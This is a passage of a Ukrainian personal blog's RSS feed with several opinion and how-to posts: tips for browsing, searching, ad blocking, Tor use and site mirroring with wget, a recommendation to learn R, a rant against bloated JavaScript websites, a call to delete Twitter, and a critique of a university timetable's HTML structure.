&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;   --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;timer&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#39;hpet&amp;#39;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;present&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#39;no&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;/&amp;gt;&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;&amp;lt;!-- змінити на yes --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;timer&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#39;hypervclock&amp;#39;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;present&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#39;yes&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;clock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://unix.stackexchange.com/questions/599651/whats-the-purpose-of-kvm-libvirt-and-libvirt-qemu-groups-in-linux&#34;&gt;https://unix.stackexchange.com/questions/599651/whats-the-purpose-of-kvm-libvirt-and-libvirt-qemu-groups-in-linux&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://serverfault.com/questions/803283/how-do-i-list-virsh-networks-without-sudo&#34;&gt;https://serverfault.com/questions/803283/how-do-i-list-virsh-networks-without-sudo&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description>
	</item>
	
	<item>
		<title>Узручнення пошуку в інтернеті</title>
		<link>https://miliukhin.xyz/articles/efficient_browsing/</link>
		<pubDate>Sat, 11 Nov 2023 14:34:59 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/articles/efficient_browsing/</guid>
		<description>&lt;h2 id=&#34;браузери&#34;&gt;Браузери&lt;/h2&gt;
&lt;p&gt;Просто бо без браузера сильно не побравзите,
мої улюблені браузери:&lt;/p&gt;
&lt;dl&gt;
&lt;dt&gt;Librewolf&lt;/dt&gt;
&lt;dd&gt;загартований форк Firefox (більше конфіденційності)&lt;/dd&gt;
&lt;dt&gt;qutebrowser&lt;/dt&gt;
&lt;dd&gt;для любителів віму, але зле, що пайтон&lt;/dd&gt;
&lt;dt&gt;lynx&lt;/dt&gt;
&lt;dd&gt;для терміналів, підтримує протокол gopher&lt;/dd&gt;
&lt;dt&gt;браузер Tor&lt;/dt&gt;
&lt;dd&gt;шоб переглядати сторінки через мережу Tor
(зрештою, можна налаштувати проксі для будь-якого браузера
й не користуватися браузером Tor, але розробники не радять)&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;більше гарних програм &lt;a href=&#34;https://miliukhin.xyz/software&#34;&gt;тут&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;індекси-списки-посилань&#34;&gt;Індекси (списки посилань)&lt;/h2&gt;
&lt;p&gt;У старому вебі було дуже зручно
шукати гарні сайти, бо люди створювали
сторінки з посиланнями на них, і так
від одного сайту до іншого стрибали
та знаходили класні джерела.&lt;/p&gt;
&lt;p&gt;Зараз пошукові системи та чатгопота
витіснили таку практику і постачають
людям посередню інфу. Але якщо ви хочете
знайти щось дійсно цінне, користуйтеся
списками посилань на різних сайтах.
Можете почати з &lt;a href=&#34;https://miliukhin.xyz/links/&#34;&gt;мого&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;трюки-з-пошуковими-системами-й-метапошуковики&#34;&gt;Трюки з пошуковими системами й метапошуковики&lt;/h2&gt;
&lt;p&gt;Попередній текст не каже, шо треба відмовитись від пошукових систем
(хоча від ґуґла варто), але треба їх зручно використовувати.&lt;/p&gt;
&lt;h3 id=&#34;по-перше-корисні-пошуковики&#34;&gt;По-перше, корисні пошуковики&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/hnhx/librex&#34;&gt;librex&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;searx &amp;mdash; тут у налаштуваннях, до речі, можете знайти ще пошуковики&lt;/li&gt;
&lt;li&gt;wiby.me&lt;/li&gt;
&lt;li&gt;duckduckgo&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Два перші &amp;mdash; метапошуковики, тобто
вони агрегують результати інших пошукових систем.
Це класно, бо:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ви отримуєте пістрявіші (&amp;ldquo;менш чи різнобоко заангажовані&amp;rdquo;) результати;&lt;/li&gt;
&lt;li&gt;вас важче відстежити, бо сервіс метапошуку фактично виступає як такий собі проксі запитів;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;а-тепер-хитрощі&#34;&gt;а тепер хитрощі&lt;/h3&gt;
&lt;p&gt;У популярних пошуковиках можна дописати
&lt;code&gt;site:&amp;lt;ім&#39;я.сайту&amp;gt;&lt;/code&gt; та отримати результати
тільки для певного сайту. Наприклад,
якщо ви хочете шукати щось тільки на
сайті &lt;code&gt;ftrv.se&lt;/code&gt;, то так і пишете:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;code site:ftrv.se
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Поставивши &lt;code&gt;-&lt;/code&gt; перед &lt;code&gt;site&lt;/code&gt;, ми його &amp;ldquo;віднімемо&amp;rdquo;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Можна додати до пошукового запиту &lt;code&gt;-site:.com&lt;/code&gt; для отримання кращих результатів,
адже 90% шлаку &amp;mdash; сайти, в яких TLD &lt;code&gt;.com&lt;/code&gt;. Я налаштував це в &lt;code&gt;config.py&lt;/code&gt; &lt;code&gt;qutebrowser&lt;/code&gt;-а ось так:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;c.url.searchengines = {&amp;#39;DEFAULT&amp;#39;: &amp;#39;https://duckduckgo.com/?q={}+-site%3A.com&amp;#39;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Так я значно частіше натрапляю на гарні сайти.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;взаємодія-зі-сторінками&#34;&gt;Взаємодія зі сторінками&lt;/h2&gt;
&lt;p&gt;Користуйтеся
&lt;code&gt;Ctrl + F&lt;/code&gt; чи
іншою комбінацією клавіш,
яка у вашому браузері
відповідає за пошук
тексту на сторінці.&lt;/p&gt;
&lt;p&gt;Консоль розробника дає можливість дослідити структуру сайту
для скрейпінгу, про який буде далі.&lt;/p&gt;
&lt;h2 id=&#34;фільтрація-непотребу&#34;&gt;Фільтрація непотребу&lt;/h2&gt;
&lt;p&gt;Не вся інформація корисна чи потрібна,
і не варто забивати свою пам&amp;rsquo;ять усяким непотребом.
Крім трюку з &lt;code&gt;-site:.com&lt;/code&gt;, розглянемо більш глобальні
штуки:&lt;/p&gt;
&lt;h3 id=&#34;блокування-реклами&#34;&gt;Блокування реклами&lt;/h3&gt;
&lt;p&gt;Реклама &amp;mdash; зло, зло &amp;mdash; реклама.
Щоб заблокувати її к чорту, я раджу:&lt;/p&gt;
&lt;dl&gt;
&lt;dt&gt;uBlock Origin&lt;/dt&gt;
&lt;dd&gt;блокувальник реклами&lt;/dd&gt;
&lt;dt&gt;uMatrix (для &lt;code&gt;qutebrowser&lt;/code&gt; &amp;mdash; jMatrix)&lt;/dt&gt;
&lt;dd&gt;Блокує тупо всі запити, і дає можливість дозволяти потрібні вам&lt;/dd&gt;
&lt;dt&gt;етичні фронтенди для неетичних сервісів&lt;/dt&gt;
&lt;dd&gt;Invidious замість YouTube, nitter.net замість екс-твітера, &amp;hellip;&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Більше розширень для браузера я описав у своєму &lt;a href=&#34;https://miliukhin.xyz/links/software.html&#34;&gt;списку програм&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;блокування-за-доменами&#34;&gt;Блокування за доменами&lt;/h3&gt;
&lt;p&gt;Звільніть провайдера від роботи &amp;mdash;
створіть власний фільтр хостів.
За допомогою одного з
&lt;a href=&#34;https://github.com/StevenBlack/hosts&#34;&gt;цих файлів&lt;/a&gt;
можна повністю перекрити доступ
до порно, азартних ігор, поганих
псевдосоціальних мереж або всього цього водночас!&lt;/p&gt;
&lt;p&gt;Ви можете встановити його на своєму комп&amp;rsquo;ютері й тоді не будете з&amp;rsquo;єднуватися зі
шкодними сайтами. А якщо на роутері, то всі в хаті будуть захищені від них.&lt;/p&gt;
&lt;h2 id=&#34;мережі-та-протоколи--видаліть-vpn&#34;&gt;Мережі та протоколи + видаліть VPN&lt;/h2&gt;
&lt;p&gt;Хто сидить лиш у звичайному вебі,
той втрачає дуже багато.
Я полюбив даркнет саме через
якість інформації, яку надають
певні сервіси, тому вважаю, що
кожен &lt;em&gt;&lt;strong&gt;мусить користуватися Tor
і I2P&lt;/strong&gt;&lt;/em&gt;. Я маю трохи посилань
для занурення в темну мережу &lt;a href=&#34;https://miliukhin.xyz/links/web&#34;&gt;тута&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Крім того, якщо ви користуєтеся сервісом VPN
і це не Mullvad чи ваш власний сервер, то
це навіть гірше, ніж якби весь ваш трафік
бачив провайдер, бо ви даєте ці дані компанії,
яка крім того, що може їх усі збирати, ще й
точно знає, хто ви є (&lt;em&gt;на відміну від провайдера
інтернету, який може тільки припускати, які люди
користуються мережею&lt;/em&gt;).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tor повністю заміняє VPN, ще й безкоштовно!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Звісно, варто підтримати проєкт пожертвою, або
(що краще та базованіше) запустивши свій вузол.
Ось відео про це:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://odysee.com/@AlphaNerd:8/how-to-run-your-own-tor-node:8&#34;&gt;https://odysee.com/@AlphaNerd:8/how-to-run-your-own-tor-node:8&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://odysee.com/@AlphaNerd:8/how-i-run-darknets-from-my-home-internet:2&#34;&gt;https://odysee.com/@AlphaNerd:8/how-i-run-darknets-from-my-home-internet:2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://odysee.com/@AlphaNerd:8/how-i-run-tor-relays-at-home:2&#34;&gt;https://odysee.com/@AlphaNerd:8/how-i-run-tor-relays-at-home:2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!--
- [hyphanet](https://www.hyphanet.org/index.html)
- https://freenet.org/dev
--&gt;
&lt;h2 id=&#34;автоматизація-та-скрейпінг&#34;&gt;Автоматизація та скрейпінг&lt;/h2&gt;
&lt;p&gt;Дуже зручно мати локальні копії сайтів,
бо не відомо, чи будуть вони онлайн весь час.
Для завантаження я користуюсь &lt;code&gt;curl&lt;/code&gt; та &lt;code&gt;wget&lt;/code&gt;,
а також раджу &lt;code&gt;torsocks&lt;/code&gt; для торифікації
трафіку, бо деякі сайти можуть заблокувати ваc.&lt;/p&gt;
&lt;p&gt;ван-лайнер для створення дзеркала сайту:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;torsocks wget --mirror --convert-links --adjust-extension --page-requisites --no-parent --wait=0.1 --random-wait -q --show-progress &amp;lt;посилання&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;Якщо сайт, наприклад, роблять за допомогою генератора статичних сайтів і його вихідні файли знаходяться під контролем версій (у публічному репозиторії &lt;code&gt;git&lt;/code&gt; чи що), то можна натомість завантажити його &amp;mdash; так у мене присутній репозиторій &lt;code&gt;landchad.net&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;скрейпінг&#34;&gt;скрейпінг&lt;/h3&gt;
&lt;p&gt;Скрейпінг дозволяє вибирати тільки ті дані,
які вам потрібні замість качання
всього підряд, а ще &lt;a href=&#34;https://youtu.be/4K_eLWCFghM&#34;&gt;автоматизувати нудну роботу&lt;/a&gt;. Я не майстер скрейпінгу, але
поділюся тим, що знаю:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://scrapy.org/&#34;&gt;scrapy&lt;/a&gt; &amp;mdash; це бібліотека &lt;code&gt;python&lt;/code&gt; для (ясно шо) скрейпінгу.&lt;/li&gt;
&lt;li&gt;На сайті &lt;a href=&#34;https://www.trickster.dev/&#34;&gt;www.trickster.dev&lt;/a&gt; є багато класних статей про скрейпінг.&lt;/li&gt;
&lt;li&gt;варто зразу вкурити &lt;code&gt;xpath&lt;/code&gt; (на вказаному вище сайті є файний посібник)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Не забувайте користуватися проксі чи скрейпити
через Тор для уникнення блокувань та збереження анонімності.
Також варто міняти &lt;a href=&#34;https://uk.wikipedia.org/wiki/User_agent&#34;&gt;User Agent&lt;/a&gt;-и
(приклади скрейперів, які таке роблять, можна легко знайти
в мережі &amp;mdash; на тому ж ґітхабі їх повно).&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Вивчіть R вже</title>
		<link>https://miliukhin.xyz/articles/learn_r_now/</link>
		<pubDate>Fri, 03 Nov 2023 20:42:43 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/articles/learn_r_now/</guid>
		<description>&lt;p&gt;Коли ви навчитеся трохи &lt;code&gt;R&lt;/code&gt;,
ви більше не захочете запускати
оці от &amp;ldquo;&lt;del&gt;додаток&lt;/del&gt; застосунок Калькулятор&amp;rdquo; і всякі екселі, бо &lt;code&gt;R&lt;/code&gt;
може все: і рахувати, і графіки будувати,
і навіть інтегрується в едокументи!&lt;/p&gt;
&lt;p&gt;Кілька ресурсів:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/playlist?list=PL-p5XmQHB_JQlsPHtcxNWpvDudyoWB2kH&#34;&gt;https://www.youtube.com/playlist?list=PL-p5XmQHB_JQlsPHtcxNWpvDudyoWB2kH&lt;/a&gt; лисий норм розказує&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://cran.r-project.org/doc/contrib/Hnatyuk-R-book-ua.pdf&#34;&gt;https://cran.r-project.org/doc/contrib/Hnatyuk-R-book-ua.pdf&lt;/a&gt; книжка українською для структурованого сприйняття&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://modernstatisticswithr.com&#34;&gt;https://modernstatisticswithr.com&lt;/a&gt; книжка про Р (тільки не треба отого-во р студіо, а просто встановлюєте &lt;code&gt;r&lt;/code&gt; менеджером пакунків)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://rcompanion.org/rcompanion/c_02.html&#34;&gt;https://rcompanion.org/rcompanion/c_02.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://cran.r-project.org/web/packages/matlib/vignettes/linear-equations.html&#34;&gt;Розв&amp;rsquo;язування СЛАР&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
	</item>
	
	<item>
		<title>Проблема з виконанням на стороні клієнта та сойдевством</title>
		<link>https://miliukhin.xyz/articles/client_side/</link>
		<pubDate>Sat, 07 Oct 2023 20:25:11 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/articles/client_side/</guid>
		<description>&lt;p&gt;Клієнтське виконання — головна причина того, що
сучасні вебсайти не можна переглядати на 20-річних
комп&amp;rsquo;ютерах. Чому 20-річних? Бо на 12-річних іще можна,
але двадцятирічним точно не вистачить обчислювальної
здатності для всього, що сойдеви зінженерили на
своїх сайтах. А ще я злий на сайт hackyourmom.&lt;/p&gt;
&lt;h2 id=&#34;хто-такі-ці-сойдеви&#34;&gt;Хто такі ці сойдеви?&lt;/h2&gt;
&lt;p&gt;Соя в дуже некльовому сенсі.&lt;/p&gt;
&lt;p&gt;Це люди, які розробляють якусь дуже складну річ, коли
часто можна зробити те саме дуже просто, або взагалі
рішення вже існує. Цим сойдеви ускладнюють життя собі та іншим.&lt;/p&gt;
&lt;h2 id=&#34;що-вони-роблять-не-так&#34;&gt;Що вони роблять не так?&lt;/h2&gt;
&lt;h3 id=&#34;вебсайт-про-крекінг&#34;&gt;Вебсайт про крекінг&lt;/h3&gt;
&lt;p&gt;Наприклад, нам потрібно розробити вебсайт, де
будуть публікуватися посібники для хацкерів. Ось необхідні речі:&lt;/p&gt;
&lt;ol start=&#34;0&#34;&gt;
&lt;li&gt;Якісні статті (без них ніяк)&lt;/li&gt;
&lt;li&gt;Зручна навігація (швидко ясно, як знайти статті за потрібною категорією чи темою)&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;бажано-мати&#34;&gt;Бажано мати&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Можливість швидко копіювати лістинги.&lt;/li&gt;
&lt;li&gt;Кольорування синтаксису.&lt;/li&gt;
&lt;li&gt;Форум чи коментарі.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;що-зробить-сойдев&#34;&gt;Що зробить сойдев&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Динамічну фігню, яка буде заважати читати (часто рекламу, але може взагалі що завгодно).&lt;/li&gt;
&lt;li&gt;Додасть різні трекери, бо з відділу реклами сказали, що так має бути.&lt;/li&gt;
&lt;li&gt;Джаваскриптові анімації без яких &amp;ldquo;вебсайт не вебсайт&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;Застосує для цього зовсім недоречні інструменти, які зроблять перегляд сайту без javascript неможливим.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;Зазвичай це в корпоративному середовищі, але
розробники, навчені працювати в ньому, часто
переносять весь цей шлак на власні сайти.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Добре буде, якщо не забудуть про копіювання блоків коду &amp;mdash;
про їх забарвлення всі забули, а про якісні статті ніхто навіть не думав,
бо витратили весь час на правильне відображення усіх банерів, і пов&amp;rsquo;язування їх так,
що коли закриваєш один, вискакує інший. І виходить &lt;code&gt;hackyourmom&lt;/code&gt;. Чо хакйомам? Бо вони
кажуть &amp;ldquo;заходьте через тор&amp;rdquo; і водночас роблять такий сайт, який через тор ше грузити мільйон років буде.&lt;/p&gt;
&lt;p&gt;Кому тут зручно?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Зайва робота (як розробника, так і читача таких мегаресурсів)&lt;/li&gt;
&lt;li&gt;Зайві обчислення → стимул купувати нове залізо, екологічна шкода&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;до-чого-тут-браузерні-інтерпретатори-й-джаваскрипт&#34;&gt;До чого тут браузерні інтерпретатори й джаваскрипт?&lt;/h2&gt;
&lt;p&gt;Не було б тої штуки &amp;mdash; сойчикам прийшлось би всю свою сою
розробляти на серверах, а якби вони це робили на серверах,
їм би не вистачило ні грошей, ні сили на підтримку серверів,
які б обробляли так багато непотребу.&lt;/p&gt;
&lt;p&gt;Комп&amp;rsquo;ютери не резинові, а навіть якщо спробувати їх розтягнути,
потужнішими не стануть. Навіщо використовувати зайву енергію
для обробки зайвої інформації?&lt;/p&gt;
&lt;h2 id=&#34;єрішення&#34;&gt;єРішення&lt;/h2&gt;
&lt;p&gt;Веб розтовстів настільки, що тут тільки
обрізання допоможе. Але шматки, які потрібно відрізати, завеликі,
щоб узагалі розглядати можливість їх відокремлення від тулуба.&lt;/p&gt;
&lt;p&gt;Але все-таки ми можемо змінити становище, не захаращуючи
інтернет ще більше та користуючися простими та зручними засобами
розробки. Будуймо кращий інформаційний простір для малят!&lt;/p&gt;
&lt;dl&gt;
&lt;dt&gt;неінтерактивні сайти&lt;/dt&gt;
&lt;dd&gt;чудово підійдуть генератори статичних сайтів (на противагу системам керування контентом). На момент написання статті я для цього блогу вжиткую Hugo.&lt;/dd&gt;
&lt;dt&gt;вебзастосунки&lt;/dt&gt;
&lt;dd&gt;краще спитати себе тричі, чи &lt;em&gt;дійсно для
цього потрібен вебдодаток&lt;/em&gt;, чи краще розробити
нормальну програму, а потім під час роботи над
кожною функцією думати, чи вона не робить гірше.&lt;/dd&gt;
&lt;dt&gt;клієнти&lt;/dt&gt;
&lt;dd&gt;повернення вебу до нормального стану буде довгим,
неповним, або взагалі мізерним, а зараз потрібно
захищатися від поганих сайтів.&lt;/dd&gt;
&lt;dd&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Librewolf&lt;/code&gt; &amp;mdash; гарний браузер&lt;/li&gt;
&lt;/ul&gt;
&lt;/dd&gt;
&lt;dd&gt;&lt;ul&gt;
&lt;li&gt;також я раджу розширення &lt;a href=&#34;https://digdeeper.club/articles/websites.xhtml&#34;&gt;uMatrix&lt;/a&gt; (воно дає можливість заблокувати/дозволити які завгодно запити, тож ви можете побачити, наскільки багато абсолютно непотрібних речей вантажать різні сайти).&lt;/li&gt;
&lt;/ul&gt;
&lt;/dd&gt;
&lt;dd&gt;&lt;ul&gt;
&lt;li&gt;Дивіться більше в розділі про веб у моєму
&lt;a href=&#34;https://miliukhin.xyz/links/software/#%D0%B2%D0%B5%D0%B1&#34;&gt;списку кльових програм&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/dd&gt;
&lt;dd&gt;&lt;ul&gt;
&lt;li&gt;А ще можна використовувати Reader View у похідних Firefox і не відомий мені аналог для хромів.&lt;/li&gt;
&lt;/ul&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;UPD 30.11.2023:&lt;/strong&gt;
Дивлюсь, а &lt;code&gt;hackyourmom.com&lt;/code&gt; розтовстів іще більше!
Тепер він використовує половину потужності
мого процесора. Потужно. Зазвичай я надаю перевагу
графічному браузеру, але цей сайт дійсно краще виглядає
в термінальному бравзері &lt;code&gt;lynx&lt;/code&gt;.&lt;/p&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;bruh.webp&#34;&gt;&lt;figcaption&gt;вони додали колоризацію лістингів, але є нюанс&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;А ще у мене враження, що вони найняли для написання статей
найбільшого та наймогутнішого шарлатана чи генія
всіх часів &amp;mdash; ChatGPT.&lt;/p&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;gpt.webp&#34;&gt;&lt;figcaption&gt;Часом люди зосереджуються на SEO й забувають, що пишуть не для павуків гугл, а для людей&lt;/figcaption&gt;&lt;/figure&gt;

</description>
	</item>
	
	<item>
		<title>Чому люди досі користуються Twitter&#39;ом? Видаліть твітер (і соцмережі)!</title>
		<link>https://miliukhin.xyz/articles/delete_twitter/</link>
		<pubDate>Mon, 02 Oct 2023 23:45:39 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/articles/delete_twitter/</guid>
		<description>&lt;p&gt;Насправді я розумію, чому, але це не змінює моєї думки:
екствітер мусить померти разом із мрією Ілона Маска бути
генеральним директором Землі. Тому, хто ще не встиг, видаляйте акаунт!&lt;/p&gt;
&lt;p&gt;&lt;del&gt;Якщо ви щось там читаєте , то користуйтеся &lt;a href=&#34;https://nitter.net&#34;&gt;Nitter&amp;rsquo;ом&lt;/a&gt;
— етичним фронтендом, який дає можливість переглядати твітер без
реєстрації.&lt;/del&gt; Nitter більше не працює, бо Ілон
остаточно загатив свою ехокамеру шумоізоляцією!&lt;/p&gt;
&lt;p&gt;Або продовжуйте читати, як маск, сам попрошайка, яка сидить на грошах США,
звинувачує інших у тому, що просять:&lt;/p&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;musk.png&#34;&gt;&lt;/figure&gt;

&lt;p&gt;ще причини видалити твітер:
&lt;a href=&#34;https://stallman.org/twitter.html&#34;&gt;https://stallman.org/twitter.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;В ідеалі ми мали б відставити всі асоціальні мережі й наповнити
веб персональними вебсайтами, як раніше, бо так ліпше:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;для пошуку інформації&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;До речі, я обігнав радіо НВ. Оце рівність!&lt;/p&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;nv.webp&#34;&gt;&lt;/figure&gt;

&lt;ul&gt;
&lt;li&gt;для свободи слова&lt;/li&gt;
&lt;li&gt;свободи стилю&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;і взагалі значно зручніше писати щось на вебсайті, ніж
у різних соцмережах.&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Новий розклад Львівської Політехніки та проблеми структурування документів</title>
		<link>https://miliukhin.xyz/articles/structuring_not_styling/</link>
		<pubDate>Wed, 27 Sep 2023 13:25:01 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/articles/structuring_not_styling/</guid>
		<description>&lt;h2 id=&#34;структурувати-не-можна-стилювати&#34;&gt;Структурувати(,) не можна(,) стилювати&lt;/h2&gt;
&lt;p&gt;Візьмімо розклад студентів Львівської Політехніки:
сторінка, яка його відображає, організована так, що
розміщення елементів у відображенні розкладу залежить
від класів і стильових характеристик, які їм прописали.&lt;/p&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;pic-selected-231002-1252-30_dithered.png&#34;&gt;&lt;/figure&gt;

&lt;p&gt;Якщо стилі пропадуть, усе посипеться:&lt;/p&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;pic-selected-231002-1252-50_dithered_riemersma.png&#34;&gt;&lt;figcaption&gt;у котрої групи пара?&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Отже ми маємо купу CSS, яка невдало мімікує таблицю, хоча її можна зробити взагалі без ніяких стилів за допомогою тега &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;рішення&#34;&gt;Рішення&lt;/h2&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;номер&lt;/th&gt;
          &lt;th&gt;пара&lt;/th&gt;
          &lt;th&gt;чис&lt;/th&gt;
          &lt;th&gt;знам&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;1&lt;/td&gt;
          &lt;td&gt;Веброзробка дизайн&lt;/td&gt;
          &lt;td&gt;1&lt;/td&gt;
          &lt;td&gt;1&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;2&lt;/td&gt;
          &lt;td&gt;Чисельні методи&lt;/td&gt;
          &lt;td&gt;1&lt;/td&gt;
          &lt;td&gt;2&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Можна ше так, але з попередньої таблиці зручніше витягати
рядки (звісно, &lt;code&gt;grep&lt;/code&gt;, лмао).
